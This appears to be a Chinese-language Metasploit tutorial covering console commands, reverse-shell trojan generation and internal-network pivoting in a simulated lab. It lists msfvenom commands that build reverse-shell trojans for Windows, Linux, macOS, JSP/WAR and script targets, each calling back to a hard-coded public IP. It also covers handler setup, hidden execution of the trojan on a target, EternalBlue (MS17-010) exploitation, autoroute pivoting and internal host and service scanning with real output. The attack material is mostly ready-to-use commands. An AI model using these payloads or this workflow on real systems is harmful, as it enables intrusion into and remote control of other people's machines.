介绍
MSF(Metasploit)是一款开源安全漏洞检测工具,附带上千个已知漏洞的exp,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。使用msf中内置的payload、module、shellcode、listener等功能,结合自己开发的脚本,可进行渗透以及内网域渗透。
常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
background/bg - 让当前会话保存到后台
sessions -l - 查看全部会话
sessions -i <id> - 回到指定会话
sessions -k <id> - 杀死会话
getuid - 查看权限
getpid - 获取当前进程的pid
sysinfo - 查看目标机系统信息
ps - 查看当前活跃进程
kill <PID值> - 杀死进程
idletime -查看目标机闲置时间
reboot / shutdown - 重启/关机
shell - 进入目标机cmd shell
msf生成木马,并监听上线
生成木马命令:
Meterpreter Shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=125.37.160.181 LPORT=443 -f exe > reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=125.37.160.181 LPORT=443 -f exe > reverse.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=125.37.160.181 LPORT=443 -f elf >reverse.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=125.37.160.181 LPORT=443 -f elf >reverse.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="125.37.160.181" LPORT=443 -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST="125.37.160.181" LPORT=443 -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST="125.37.160.181" LPORT=443 -f macho > shell.macho
msfvenom -p windows/meterpreter/reverse_tcp LHOST="125.37.160.181" LPORT=443 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="125.37.160.181" LPORT=443 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="125.37.160.181" LPORT=443 -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST="125.37.160.181" LPORT=443 -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST="125.37.160.181" LPORT=443 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST="125.37.160.181" LPORT=443 -f raw > shell.pl
监听
该模块使用格式:
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)
exploit -j –z -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.133
set lport 4444
run
execute #在目标机中执行文件
execute -H -i -f reverse.exe # 创建新进程reverse.exe,-H不可见,-i交互
访问生成的木马文件,即可上线
例如,在msf中执行监听程序:
模拟内网场景进行复现
环境
- win7、winserver 08,均存在ms17-010
- win7双网卡可出网可与winserver08连接
- winserver08纯内网
通过ms17-010拿下win7主机,如图所示:
win7主机网卡情况如图所示:
添加内网路由
该内网路由就是msf的跳板功能,主要为了解决msf无法连接的内网资源。
查看当前已拿下主机的路由情况:
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.10.1.0/255.255.255.0
Local subnet: 172.16.19.0/255.255.255.0
找到需要添加的内网路由段,进行添加路由:
添加路由命令使用举例:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0
执行下面命令添加路由:
meterpreter > run autoroute -s 10.10.1.0
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 10.10.1.0/255.255.255.0...
[+] Added route to 10.10.1.0/255.255.255.0 via 172.16.19.138
[*] Use the -p option to list all active routes
可以使用命令查看添加路由情况:
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.10.1.0 255.255.255.0 Session 2
上面的“Session 2”代表添加的路由,下一跳到已经拿到权限的win7机器。
内网探测
通过路由可以访问到内网机器,需对内网进行探测。
使用bg命令,将当前会话挂到后台:
meterpreter > bg
[*] Backgrounding session 4...
可查看所有session会话:
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x64/windows NT AUTHORITYSYSTEM @ WIN7 172.16.19.128:4444 -> 172.16.19.138:49214 (172.16.19.138)
Id为多少,表示对应的Session 4会话,关于Sessions命令使用如下:
OPTIONS:
-C <opt> Run a Meterpreter Command on the session given with -i, or all
-K Terminate all sessions
-S <opt> Row search filter.
-c <opt> Run a command on the session given with -i, or all
-d List all inactive sessions
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate sessions by session ID and/or range
-l List all active sessions
-n <opt> Name or rename a session by ID
-q Quiet mode
-s <opt> Run a script or module on the session given with -i, or all
-t <opt> Set a response timeout (default: 15)
-u <opt> Upgrade a shell to a meterpreter session on many platforms
-v List all active sessions in verbose mode
-x Show extended information in the session table
Many options allow specifying session ranges using commas and dashes.
For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
比如:回到session 4 的会话中,可以使用 sessions -i 4 即可。
常用探测命令:
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
比如探测是否存在17-010,如下:
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.10.1.129:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 HPC Edition 7600 x64 (64-bit)
[*] 10.10.1.129:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed